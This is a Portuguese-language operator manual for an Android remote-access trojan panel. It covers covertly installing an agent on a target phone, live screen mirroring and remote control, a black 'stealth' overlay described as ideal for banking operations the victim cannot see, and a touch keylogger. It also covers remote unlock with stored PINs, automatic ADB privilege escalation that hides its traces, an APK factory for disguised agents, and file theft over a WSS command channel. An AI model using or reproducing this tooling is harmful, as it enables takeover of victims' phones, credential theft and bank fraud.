1. Conexão do Aparelho

1. Instalar o APK: Baixe o agente na aba "Aplicativos" ou via URL direta. Instale no aparelho Android alvo.
2. Abrir o app: O aplicativo se vincula automaticamente (código embutido no build). Nenhuma ação extra necessária.
3. Conexão segura: O aparelho abre uma WSS outbound para a VPS. Funciona em qualquer rede (4G, Wi-Fi, 3G) — não precisa IP fixo nem mesma rede.
4. Verificar status: Aparelho aparece na lista lateral com indicador verde (conectado) e bateria.

Requisitos no Android: Permissão de Notificação, Projeção de Tela (MediaProjection), e opcionalmente Acessibilidade para controle de toque.

2. Tela ao Vivo (Mirror)

• O painel exibe a tela do aparelho em tempo real (~15 fps).
• Codec: H.264 (hardware encoder) com fallback JPEG.
• Latência típica: 150-400ms dependendo da rede.
• Para iniciar a captura: clique no aparelho → botão "Iniciar transmissão" (ou o agente já envia frames automaticamente após o consentimento).
• Para pausar: botão "Pausar frames" — a conexão fica viva mas sem vídeo.

3. Controle Remoto (Toque / Teclas / Texto)

4. Stealth (Camuflagem)

• Ativa uma overlay preta que cobre a tela do aparelho para quem está segurando.
• Você continua vendo a tela real no painel (o painel "olha por baixo" da overlay periodicamente).
• Botão "Stealth" ou comando stealth_on / stealth_off.
• Ideal para operações bancárias onde a pessoa não pode ver o que tá acontecendo na tela.

5. Radar (Keylog / Captura de Toques)

• Captura todos os toques físicos e eventos de texto via serviço de Acessibilidade.
• Liga: botão "Radar" (ou comando radar_on). Desliga: radar_off.
• Exibe canvas com os toques em tempo real (coordenadas normalizadas).
• Com kmap (mapa de teclado) configurado, converte toques em dígitos/texto.
• Logs diários salvos no servidor por dispositivo.

6. Desbloqueio (Unlock)

• Salvar PIN/Padrão: Cadastre PIN ou padrão de desbloqueio do aparelho para uso futuro.
• Desbloquear remotamente: O agente executa o desbloqueio sozinho (swipe up + digita PIN/padrão via acessibilidade).
• Info de desbloqueio: Consulta qual método está ativo (PIN, padrão, senha, biometria).
• Atalhos: seção "Desbloqueio" no painel direito.

7. Escala ADB (Depuração WiFi)

• Botão "Escalar agora" na card "ESCALADA ADB".
• O agente navega SOZINHO nas Configurações do Android:
  1. Ativa Opções do Desenvolvedor (7x "Número da versão")
  2. Liga Depuração USB
  3. Liga Depuração sem fio
  4. Raspa código + porta de pareamento
• VPS conecta ADB via túnel WebSocket (não precisa rede local).
• Concede permissões permanentes e limpa rastros (esconde dev options).
• Após a primeira escalação, ADB fica permanente — sobrevive a reboots.

8. Aplicativos (Factory APK)

• Aba "Aplicativos" no topo do painel.
• Criar agente: Defina nome, package ID, relay URL, ícone. Clica "Gerar APK" → compila em ~2-5 min na VPS.
• Instalar APK: Upload de arquivo .apk → instala remotamente via ADB (adb install -r).
• Logcat: Coleta últimos 250 linhas de log do sistema.
• Pull arquivos: Baixa arquivos de Download/, Documents/, Pictures/ do aparelho.

9. Sessões e Dispositivos

• Listeira esquerda mostra todos os dispositivos conectados com status.
• Clique num dispositivo para focar (a tela central muda pra ele).
• Indicadores: online = WS ativo, bateria, modelo, Android version.
• Dispositivos desconectados ficam cinza com timestamp da última vez visto.
• "Visor duplo": botão abre segunda tela lado a lado (comparar 2 aparelhos).

10. Atalhos de Teclado

Arquitetura de Conexão

Aparelho (APK Agent)
    │
    │  WSS outbound (TLS) — 1 conexão só
    │  wss://VPS/ws/remote/session/<device_id>?token=<token>
    │
    ├── Canal TEXT: comandos, status, heartbeat, eventos
    ├── Canal 0x00: túnel ADB (multiplexado N canais)
    └── Canal 0x01: vídeo H.264 (MediaProjection → MediaCodec)
    
    VPS recebe → demux → roteia pro painel (browser)
    
    Browser (dashboard)
    └── WSS operator → recebe frames + eventos
        ├── <video> / canvas → exibe H.264 (WebCodecs)
        └── Clique/toque → envia comando pro aparelho